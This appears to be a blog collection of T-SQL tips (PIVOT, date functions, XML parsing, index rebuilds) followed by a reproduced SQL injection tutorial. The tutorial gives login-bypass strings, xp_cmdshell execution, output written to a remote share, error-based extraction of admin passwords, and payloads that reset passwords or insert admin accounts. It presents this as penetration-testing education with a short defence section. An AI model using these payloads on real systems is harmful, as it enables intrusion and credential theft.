Print "Happy Birthday"

CREATE TABLE #tmp (TmpID int identity (1,1) primary key clustered, EnglishAlpha varchar(1000))
Create Table #DecodeMe (DecodeID int identity(1,1), DecodeMe varchar(256))
;
With Alpha as (SELECT Distinct Top 26 EnglishAlpha = CHAR(ABS(CHECKSUM(NEWID()))%26+65)
From Master.sys.SysColumns t1, Master.sys.SysColumns t2
)

INSERT INTO #tmp (EnglishAlpha)
SELECT EnglishAlpha
From Alpha
Order By EnglishAlpha

Insert Into #tmp(EnglishAlpha)
Select ' '

Insert Into #DecodeMe (DecodeMe)
Select '8.1.16.16.25.27.2.9.18.20.8.4.1.25'
;
WITH extract (id, lft, rght, idx)
AS (
SELECT t.Decodeid
,LEFT(t.DecodeMe, CHARINDEX('.', t.DecodeMe) - 1)
,SUBSTRING(t.DecodeMe, CHARINDEX('.', t.DecodeMe) + 1, DATALENGTH(t.DecodeMe))
,0
FROM #DecodeMe t
UNION ALL
SELECT c.id
,CASE WHEN CHARINDEX('.', c.rght) = 0 THEN c.rght ELSE LEFT(c.rght, CHARINDEX('.', c.rght) - 1) END
,CASE WHEN CHARINDEX('.', c.rght) > 0 THEN SUBSTRING(c.rght, CHARINDEX('.', c.rght) + 1, DATALENGTH(c.rght))
ELSE '' END
,idx + 1
FROM extract c
WHERE DATALENGTH(c.rght) > 0
), genstring as (
select cast(A.EnglishAlpha as Varchar(256)) as EnglishAlpha,t.idx,t.lft,t.id
from #tmp a
Inner Join extract t
On t.lft = a.TmpID
Where t.idx = 0
Union All
Select cast(T.EnglishAlpha + a.englishalpha as varchar(256)) as EnglishAlpha,t.idx + 1,t.lft,t.id
From genstring t
Inner Join extract t2
On t.id = t2.id
And t.idx + 1 = t2.idx
Inner Join #tmp a
on t2.lft = a.tmpid
)
Select id,max(EnglishAlpha) as TextOut from genstring
Group By id
Order By id
Drop Table #tmp
Drop Table #DecodeMe

How to select all columns except one column from a table ?

DECLARE @ColList Varchar(1000), @SQLStatment VARCHAR(4000)
SET @ColList = ''
select @ColList = @ColList + Name + ' , ' from syscolumns where id = object_id('Table1') AND Name != 'Column20'
SELECT @SQLStatment = 'SELECT ' + Substring(@ColList,1,len(@ColList)-1) + ' From Table1'
EXEC(@SQLStatment)

I had a similar issue when I was trying to join two tables with one-to-many relationships. In SQL 2005, I have found that XML PATH method can handle

If there is a table called STUDENTS

SubjectID StudentName
---------- -------------
1 Mary
1 John
1 Sam
2 Alaina
2 Edward

Result I expected was:

SubjectID StudentName
---------- -------------
1 Mary, John, Sam
2 Alaina, Edward

I used the following T-SQL:

Select Main.SubjectID,
Left(Main.Students,Len(Main.Students)-1) As "Students"
From(Select distinct ST2.SubjectID,
(Select ST1.StudentName + ',' AS [text()]
From dbo.Students ST1
Where ST1.SubjectID = ST2.SubjectID
ORDER BY ST1.SubjectID
For XML PATH ('')) [Students]
From dbo.Students ST2) [Main]

To concatinate different rows in a single string

DECLARE @Names VARCHAR(8000)
SELECT @Names = COALESCE(@Names + ', ', '') + Name FROM People
SELECT @Names

To change column name of a table

SP_RENAME 'TableName.OldColumnName', 'NewColumnName', 'COLUMN'

eg.
SP_RENAME 'student.marks', 'total_marks', 'COLUMN'

Make query for inserting datetime field in excel

="INSERT INTO temp(out_time, in_time) values('"&TEXT(A3,"hh:mm")&"','"&TEXT(B3,"hh:mm")&"')"

or

="INSERT INTO student
(name, dob, reference, s_no, branch) values ('"&C2&"','"&TEXT(I2,"dd-mmm-yyyy")& "','"&E2&"',"&A2&",'"&F2&"')"

This method is to get scope identity from a table where both columns are auto increment

Create Table Testing (  
   id int identity,
   somedate datetime default getdate()
)
insert into Testing  
output inserted.*
default values

or

INSERT INTO Testing  SELECT NULL
select max(id) from Testing

Dynamic PIVOT in SQL Server 2005

The PIVOT operator available in SQL Server 2005 is used to generate the Cross-tab results
Consider this example

select * from
(
select Year(OrderDate) as pivot_col,e.lastname, o.OrderDate FROM northwind..Employees as e
INNER JOIN northwind..Orders as o ON (e.EmployeeID=o.EmployeeID)
) as t
pivot
(
Count(OrderDate) for pivot_col in ([1996],[1997])
) as p

which shows total orders of each employees for years 1996 and 1997

What if we want to have this for all the years available in the table
You need to use dynamic sql


--This procedure is used to generate Dynamic Pivot results
The approach is very similar to my Dynamic Crosstab with multiple PIVOT Columns blog post
which can be used in SQL Server 2000
create procedure dynamic_pivot
(
@select varchar(2000),
@PivotCol varchar(100),
@Summaries varchar(100)
) as

declare @pivot varchar(max), @sql varchar(max)
select @select =replace(@select,'select ','select '+@PivotCol+' as pivot_col,')


create table #pivot_columns (pivot_column varchar(100))

Select @sql='select distinct pivot_col from ('+@select+') as t'

insert into #pivot_columns
exec(@sql)

select @pivot=coalesce(@pivot+',','')+'['+pivot_column+']'from #pivot_columns

select @sql=
'
select * from
(
'+@select+'
) as t
pivot
(
'+@Summaries+' for pivot_col in ('+@pivot+')
) as p
'
exec(@sql)


Purpose : Find total sales made by each employee for each year(from Employees and Orders table from Northwind databases)
Usage :

EXEC dynamic_pivot
'SELECT e.lastname, o.OrderDate FROM northwind..Employees as e
INNER JOIN northwind..Orders as o ON (e.EmployeeID=o.EmployeeID) ',
'Year(OrderDate)',
'Count(OrderDate)'

Purpose : Find total sales made by each company for each product(from products, order details and suppliers table from Northwind database)
Usage :

EXEC dynamic_pivot
'SELECT s.companyname,coalesce(od.unitprice*od.quantity ,0) as total_cost FROM northwind..products as p
inner join northwind..[order details] as od on p.productid=od.productid
inner join northwind..suppliers as s on p.supplierid=s.supplierid',
'productname',
'sum(total_cost)'

This functionis used for finding a date for a particular year,month and n(th) week day

CREATE FUNCTION [dbo].[findDate]
(
@month SMALLINT, -- Month of Date
@year INT, -- Year of Date
@day SMALLINT, -- Day of Date
@weekday SMALLINT -- (n)th Week of Date
)
RETURNS DATETIME
AS
BEGIN

/*
@day variable can be :
1: Sunday
2: Monday
3: Tuesday
4: Wednesday
5: Thursday
6: Friday
7: Saturday
*/

DECLARE @start_date DATETIME, @end_date DATETIME, @retrunDate DATETIME, @total_days TINYINT,@counter TINYINT

SET @start_date = CAST(CAST(@year AS VARCHAR(4)) + '-' + CAST(@month AS VARCHAR(4)) + '-01' As SmallDateTime)

SET @total_days = DAY(DATEADD(d, -DAY(DATEADD(m,1,CAST(CAST(YEAR(@start_date) AS VARCHAR(4)) + '-'
+ (CAST(MONTH(@start_date)AS VARCHAR(6)) + '-01') AS SMALLDATETIME))),DATEADD(m,1,CAST(CAST(YEAR(@start_date) AS VARCHAR(4)) + '-'
+ cast(MONTH(@start_date) AS VARCHAR(5)) + '-01' AS SMALLDATETIME))))

SET @end_date = CAST(CAST(@year AS VARCHAR(4)) + '-' + CAST(@month AS VARCHAR(4)) + '-'+ CAST(@total_days AS VARCHAR(4)) As SmallDateTime)

SET @counter =1

WHILE @start_date <= @end_date
BEGIN

IF(DATEPART(dw , @start_date )= @day) AND @counter <= @weekday
BEGIN
--SELECT CAST(@start_date as VARCHAR(50)),DATEPART(dw , @start_date )

SET @retrunDate = @start_date
SET @counter = ISNULL(@counter,0)+1
END
-- SELECT @counter, @retDate
SET @start_date = DATEADD(DAY,1,@start_date)

END

--SELECT @retrunDate

RETURN @retrunDate

END

This is used to find all dates of a year mentioned along with (n)th week day

DECLARE @month int
DECLARE @year INT
DECLARE @weekday int
DECLARE @whichday int
DECLARE @dt datetime

SET @year=2012
SET @month=1
SET @weekday=5
SET @whichday=5


WHILE @month <= 12
BEGIN

SET @dt=CAST(@year AS CHAR(4))+'-'+CAST(@month AS CHAR(2))+'-01'

IF(MONTH(DATEADD(DAY,@weekday-DATEPART(DW,@dt),@dt))=@month)
BEGIN
IF(MONTH(DATEADD(WEEK,@whichday-1,DATEADD(DAY,@weekday-DATEPART(DW,@dt),@dt)))=@month)
SELECT DATEADD(WEEK,@whichday-1,DATEADD(DAY,@weekday-DATEPART(DW,@dt),@dt)),1
ELSE
SELECT DATEADD(WEEK,@whichday-2,DATEADD(DAY,@weekday-DATEPART(DW,@dt),@dt)),2
END
ELSE
BEGIN
IF(MONTH(DATEADD(WEEK,@whichday,DATEADD(DAY,@weekday-DATEPART(DW,@dt),@dt)))=@month)
SELECT DATEADD(WEEK,@whichday,DATEADD(DAY,@weekday-DATEPART(DW,@dt),@dt)),3
ELSE
SELECT DATEADD(WEEK,@whichday-1,DATEADD(DAY,@weekday-DATEPART(DW,@dt),@dt)),4
END

SET @month = @month + 1
END

Calculate no days in a particular month

DECLARE @today_date DATETIME
SET @today_date = '2009/02/01'

SELECT DAY(DATEADD(d, -DAY(DATEADD(m,1,CAST(CAST(YEAR(@today_date) AS VARCHAR(4)) + '-'
+ (CAST(MONTH(@today_date)AS VARCHAR(6)) + '-01') AS SMALLDATETIME))),DATEADD(m,1,CAST(CAST(YEAR(@today_date) AS VARCHAR(4)) + '-'
+ cast(MONTH(@today_date) AS VARCHAR(5)) + '-01' AS SMALLDATETIME))))

Use of CTE along with PIVOTING

;with cte
as
(
select cb.name as Branch, cee.entity_fk as entity, cee.id, cee.emp_code, cee.first_name +' '+ cee.last_name as Employee,
es.salary_component_fk as component, es.amount
from employee cee
inner join entity ee on ee.id = cee.entity_fk
inner join branch cb on cb.id = ee.branch_fk
inner join salary es on es.employee_fk= cee.id
where --cee.entity_fk = 3 and
cee.emp_code is not null
and cee.dol is null
and cee.active = 1
and es.active = 1
and es.amount > 0
)
select Branch,emp_code, Employee, Isnull([1],0) as [Basic],Isnull([2],0) as HRA,Isnull([3],0 ) as [TPL All],Isnull([4],0) as [SPL All],
(Isnull([1],0) + Isnull([2],0) + Isnull([3],0) + Isnull([4],0)) as Total

from (select Branch, entity, id, emp_code,Employee, component, amount from cte) AS vs
PIVOT (sum(amount) FOR component in([1], [2], [3], [4])) AS p

order by Branch, entity, CAST(SUBSTRING(emp_code,5,len(emp_code)) AS INT)

This is the way to insert OPENXML data into table without using view

INSERT into TableName
SELECT *
FROM OPENXML(@hdoc, @nodeName)
WITH
(
id INT '@id',
component_fk int '@component_fk',
amount float '@amount',
active bit '@active'
)

XML inSQL Query

We can use New way of selecting Nodes from XMl by using following:
Declare @xmlData xml
SET @xmlData='';
Declare @temp as table (id int, Name varchar(50))
Insert into @temp
SELECT
T.item.value('@id', 'int') as [id],
T.item.value('@first_name', 'varchar(50)') as [Name]
FROM @xmlData.nodes('/employee/user') AS T(item)
where T.item.value('@id', 'int')=57
So there is no need of using OPENXML() method.

OpenXML and xml Nodes

DECLARE @xmlData XMLIF (@xmldata.exist('//sd/member')=1)BEGIN
DECLARE @hdoc int Declare @nodeName as varchar(100)
EXEC sp_xml_preparedocument @hdoc OUTPUT, @xmldata Set @nodeName = '//sd/member'-- Declare a temp table and insert from open xml having auto increment ID column-- This ID column is used to avoid cursor--INSERT into @tempSponsorNew SELECT * FROM OPENXML( @hdoc, @nodeName, 8 ) WITH ( id INT '@id' ,[sp_fk] INT '@sponsor_fk' ,[name] varchar(100) '@name')
EXEC sp_xml_removedocument @hDoc
DECLARE @sponserCounter INT
DECLARE @totalRowSponser INT -- avoid using cursorSET @sponserCounter=0 SELECT @totalRowSponser=count(1) FROM @tempSponsorNew While(@sponserCounter < @totalRowSponser) BEGIN SET @sponserCounter=@sponserCounter + 1 -- Do what ever you want to do with this temp table dataselect *FROM @tempSponsorNew ts WHERE ts.id < 0 and ts.active=1 and ts.[primary_id]=@sponserCounter END
END

rebuild all index of all database

DECLARE @Database VARCHAR(255) DECLARE @Table VARCHAR(255) DECLARE @cmd NVARCHAR(500) DECLARE @fillfactor INTSET @fillfactor = 90DECLARE DatabaseCursor CURSOR FOR SELECT name FROM master.dbo.sysdatabases WHERE name NOT IN ('master','model','msdb','tempdb','distrbution') ORDER BY 1 OPEN DatabaseCursor FETCH NEXT FROM DatabaseCursor INTO @Database WHILE @@FETCH_STATUS = 0 BEGIN SET @cmd = 'DECLARE TableCursor CURSOR FOR SELECT table_catalog + ''.'' + table_schema + ''.'' + table_name as tableName FROM ' + @Database + '.INFORMATION_SCHEMA.TABLES WHERE table_type = ''BASE TABLE''' -- create table cursor EXEC (@cmd) OPEN TableCursor FETCH NEXT FROM TableCursor INTO @Table WHILE @@FETCH_STATUS = 0 BEGIN -- SQL 2000 command --DBCC DBREINDEX(@Table,' ',@fillfactor) -- SQL 2005 command SET @cmd = 'ALTER INDEX ALL ON ' + @Table + ' REBUILD WITH (FILLFACTOR = ' + CONVERT(VARCHAR(3),@fillfactor) + ')' EXEC (@cmd) FETCH NEXT FROM TableCursor INTO @Table END CLOSE TableCursor DEALLOCATE TableCursor FETCH NEXT FROM DatabaseCursor INTO @Database END CLOSE DatabaseCursor DEALLOCATE DatabaseCursor

Find a table column on SQL Server

For specific column name:

SELECT name FROM sysobjects WHERE id IN ( SELECT id FROM syscolumns WHERE name = 'THE_COLUMN_NAME' )


For a part of column name:

SELECT name FROM sysobjects WHERE id IN ( SELECT id FROM syscolumns WHERE name like '%PART_OF_NAME%' )

Copy database diagram from one DB to another DB

Copy database diagram from one DB to another DB

insert into newdb.dbo.sysdiagrams select name, principal_id,[version], [definition] from olddb.dbo.sysdiagrams

Query to retrieve stored procedures and views for a particular text

select so.id,so.name,so.xtype, sc.text from syscomments sc
inner join sysobjects so on so.id = sc.id
where sc.text like '%select *%'
and so.xtype in('P','V')

XML Insertion

We can use New way of selecting Nodes from XMl by using following:

Declare @xmlData xml

SET @xmlData='

';

Declare @temp as table (id int, Name varchar(50))

Insert into @temp

SELECT T.item.value('@id', 'int') as [id], T.item.value('@first_name', 'varchar(50)') as [Name]

FROM @xmlData.nodes('/cis/user') AS T(item)

where T.item.value('@id', 'int')=57

Here no need of using OPENXML() method.

Please visit the following link for details:

http://www.sommarskog.se/arrays-in-sql-2005.html

http://www.sommarskog.se/share_data.html

SQL Injection Walkthrough

SQL Injection Walkthrough

Summary
The following article will try to help beginners with grasping the problems facing them while trying to utilize SQL Injection techniques, to successfully utilize them, and to protect themselves from such attacks.


1.0 Introduction
When a machine has only port 80 opened, your most trusted vulnerability scanner cannot return anything useful, and you know that the admin always patch his server, we have to turn to web hacking. SQL injection is one of type of web hacking that require nothing but port 80 and it might just work even if the admin is patch-happy. It attacks on the web application (like ASP, JSP, PHP, CGI, etc) itself rather than on the web server or services running in the OS.

This article does not introduce anything new, SQL injection has been widely written and used in the wild. We wrote the article because we would like to document some of our pen-test using SQL injection and hope that it may be of some use to others. You may find a trick or two but please check out the "9.0 Where can I get more info?" for people who truly deserve credit for developing many techniques in SQL injection.

1.1 What is SQL Injection?
It is a trick to inject SQL query/command as an input possibly via web pages. Many web pages take parameters from web user, and make SQL query to the database. Take for instance when a user login, web page that user name and password and make SQL query to the database to check if a user has valid name and password. With SQL Injection, it is possible for us to send crafted user name and/or password field that will change the SQL query and thus grant us something else.

1.2 What do you need?
Any web browser.

2.0 What you should look for?
Try to look for pages that allow you to submit data, i.e: login page, search page, feedback, etc. Sometimes, HTML pages use POST command to send parameters to another ASP page. Therefore, you may not see the parameters in the URL. However, you can check the source code of the HTML, and look for "FORM" tag in the HTML code. You may find something like this in some HTML codes:

Everything between the

and

have potential parameters that might be useful (exploit wise).


2.1 What if you can't find any page that takes input?
You should look for pages like ASP, JSP, CGI, or PHP web pages. Try to look especially for URL that takes parameters, like:

http://duck/index.asp?id=10

3.0 How do you test if it is vulnerable?
Start with a single quote trick. Input something like:

hi' or 1=1--

Into login, or password, or even in the URL. Example:
- Login: hi' or 1=1--
- Pass: hi' or 1=1--
- http://duck/index.asp?id=hi' or 1=1--

If you must do this with a hidden field, just download the source HTML from the site, save it in your hard disk, modify the URL and hidden field accordingly. Example:

If luck is on your side, you will get login without any login name or password.

3.1 But why ' or 1=1--?
Let us look at another example why ' or 1=1-- is important. Other than bypassing login, it is also possible to view extra information that is not normally available. Take an asp page that will link you to another page with the following URL:

http://duck/index.asp?category=food

In the URL, 'category' is the variable name, and 'food' is the value assigned to the variable. In order to do that, an ASP might contain the following code (OK, this is the actual code that we created for this exercise):

v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)

As we can see, our variable will be wrapped into v_cat and thus the SQL statement should become:

SELECT * FROM product WHERE PCategory='food'

The query should return a resultset containing one or more rows that match the WHERE condition, in this case, 'food'.

Now, assume that we change the URL into something like this:

http://duck/index.asp?category=food' or 1=1--

Now, our variable v_cat equals to "food' or 1=1-- ", if we substitute this in the SQL query, we will have:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

The query now should now select everything from the product table regardless if PCategory is equal to 'food' or not. A double dash "--" tell MS SQL server ignore the rest of the query, which will get rid of the last hanging single quote ('). Sometimes, it may be possible to replace double dash with single hash "#".

However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try

' or 'a'='a

The SQL query will now become:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

It should return the same result.

Depending on the actual SQL query, you may have to try some of these possibilities:

' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a

4.0 How do I get remote execution with SQL injection?
Being able to inject SQL command usually mean, we can execute any SQL query at will. Default installation of MS SQL Server is running as SYSTEM, which is equivalent to Administrator access in Windows. We can use stored procedures like master..xp_cmdshell to perform remote execution:

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

Try using double quote (") if single quote (') is not working.

The semi colon will end the current SQL query and thus allow you to start a new SQL command. To verify that the command executed successfully, you can listen to ICMP packet from 10.10.1.2, check if there is any packet from the server:

#tcpdump icmp

If you do not get any ping request from the server, and get error message indicating permission error, it is possible that the administrator has limited Web User access to these stored procedures.

5.0 How to get output of my SQL query?
It is possible to use sp_makewebtask to write your query into an HTML:

'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

But the target IP must folder "share" sharing for Everyone.

6.0 How to get data from the database using ODBC error message
We can use information from error message produced by the MS SQL Server to get almost any data we want. Take the following page for example:

http://duck/index.asp?id=10

We will try to UNION the integer '10' with another string from the database:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

The system table INFORMATION_SCHEMA.TABLES contains information of all tables in the server. The TABLE_NAME field obviously contains the name of each table in the database. It was chosen because we know it always exists. Our query:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-

This should return the first table name in the database. When we UNION this string value to an integer 10, MS SQL Server will try to convert a string (nvarchar) to an integer. This will produce an error, since we cannot convert nvarchar to int. The server will display the following error:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5

The error message is nice enough to tell us the value that cannot be converted into an integer. In this case, we have obtained the first table name in the database, which is "table1".

To get the next table name, we can use the following query:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

We also can search for data using LIKE keyword:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5

The matching patent, '%25login%25' will be seen as %login% in SQL Server. In this case, we will get the first table name that matches the criteria, "admin_login".

6.1 How to mine all column names of a table?
We can use another useful table INFORMATION_SCHEMA.COLUMNS to map out all columns name of a table:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5

Now that we have the first column name, we can use NOT IN () to get the next column name:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5

When we continue further, we obtained the rest of the column name, i.e. "password", "details". We know this when we get the following error message:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5

6.2 How to retrieve any data we want?
Now that we have identified some important tables, and their column, we can use the same technique to gather any information we want from the database.

Now, let's get the first login_name from the "admin_login" table:

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5

We now know there is an admin user with the login name of "neo". Finally, to get the password of "neo" from the database:

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5

We can now login as "neo" with his password "m4trix".

6.3 How to get numeric string value?
There is limitation with the technique describe above. We cannot get any error message if we are trying to convert text that consists of valid number (character between 0-9 only). Let say we are trying to get password of "trinity" which is "31173":

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--

We will probably get a "Page Not Found" error. The reason being, the password "31173" will be converted into a number, before UNION with an integer (10 in this case). Since it is a valid UNION statement, SQL server will not throw ODBC error message, and thus, we will not be able to retrieve any numeric entry.

To solve this problem, we can append the numeric string with some alphabets to make sure the conversion fail. Let us try this query instead:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--

We simply use a plus sign (+) to append the password with any text we want. (ASSCII code for '+' = 0x2b). We will append '(space)morpheus' into the actual password. Therefore, even if we have a numeric string '31173', it will become '31173 morpheus'. By manually calling the convert() function, trying to convert '31173 morpheus' into an integer, SQL Server will throw out ODBC error message:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5

Now, you can even login as 'trinity' with the password '31173'.

7.0 How to update/insert data into the database?
When we successfully gather all column name of a table, it is possible for us to UPDATE or even INSERT a new record in the table. For example, to change password for "neo":

http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--

To INSERT a new record into the database:

http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

We can now login as "neo2" with the password of "newpas5".

8.0 How to avoid SQL Injection?
Filter out character like single quote, double quote, slash, back slash, semi colon, extended character like NULL, carry return, new line, etc, in all strings from:
- Input from users
- Parameters from URL
- Values from cookie

For numeric value, convert it to an integer before parsing it into SQL statement. Or using ISNUMERIC to make sure it is an integer.

Change "Startup and run SQL Server" using low privilege user in SQL Server Security tab.

Delete stored procedures that you are not using like:

master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask


9.0 Where can I get more info?
One of the earliest works on SQL Injection we have encountered should be the paper from Rain Forest Puppy about how he hacked PacketStorm.
http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6

Great article on gathering information from ODBC error messages:
http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc

A good summary of SQL Injection on various SQL Server on
http://www.owasp.org/asac/input_validation/sql.shtml

Senseport's article on reading SQL Injection:
http://www.sensepost.com/misc/SQLinsertion.htm

Other worth readings:
http://www.digitaloffense.net/wargames01/IOWargames.ppt
http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6
http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6
http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf